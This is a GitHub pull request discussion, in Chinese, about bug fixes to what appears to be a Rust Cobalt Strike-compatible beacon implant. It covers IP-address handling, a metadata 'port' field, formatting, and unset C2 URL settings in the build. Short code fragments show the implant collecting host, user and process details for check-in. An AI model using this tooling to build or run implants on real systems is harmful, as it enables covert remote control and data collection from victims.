-
Notifications
You must be signed in to change notification settings - Fork 30
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
修改了小bug #10
修改了小bug #10
Conversation
Cargo.toml
Outdated
hmac = "0.12.1" | ||
encoding_rs = "0.8" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
这个用不到吧
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
hmac 好像用到
src/main.rs
Outdated
@@ -263,7 +266,7 @@ fn main() { | |||
Some("macOS") => beacon.linux_collect_info(), | |||
_ => beacon.linux_collect_info(), | |||
} | |||
.unwrap_or_else(|_| panic!("collect info error")); | |||
.unwrap_or_else(|_| panic!("collect info error")); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
整体做一下 cargo fmt
src/main.rs
Outdated
println!("local_ip: {}", local_ip); | ||
let mut ip_bytes = match local_ip { | ||
IpAddr::V4(ipv4) => ipv4.octets().to_vec(), | ||
IpAddr::V6(ipv6) => ipv6.octets().to_vec(), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
这里如果拿到的是 ipv6,后面的字节数就不止4个了,可能会有潜在问题。如果是 ipv6 就打印个日志然后默认用127.0.0.1 吧
对代码进行了格式化,增加了错误处理
已进行修改 |
let os_info = format!("{}\t{}\t{}", &host_name, &user_name, &process_name).into_bytes(); | ||
let locale_ansi = 936u16; | ||
let locale_oem = 936u16; | ||
let online_info = [ | ||
&self.id.to_be_bytes()[..], | ||
&process_id.to_be_bytes()[..], | ||
&port.to_be_bytes()[..], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
这个 port 是做什么的?为了适配某个版本吗,还是有什么别的用途?我看它也没有被赋值
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
原来的ip地址解析出来是错位的
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
你测试的是哪个版本,我记得4.0没这个问题,这么改不是不兼容了吗
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
4.5的,我看windows部分的提交者也在他博客说这个问题了
https://808mak1r.com/posts/19d1f7ce/
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
啊,构建失败了,我明天看看怎么回事😇😇 |
诶,不对呀,这个报错是因为profile.rs里面C2_GET_URL,C2_POST_URL没填写导致的,这个值应该是由项目里的python脚本填写的,所以如果我在pr中填写了这两个变量的值会不会影响python脚本的工作 |
谢谢你的PR @fdx-xdf |
更改了windows下meta_info的小错误(port),适配了获取内网ip地址
这次应该ok了 (T﹏T)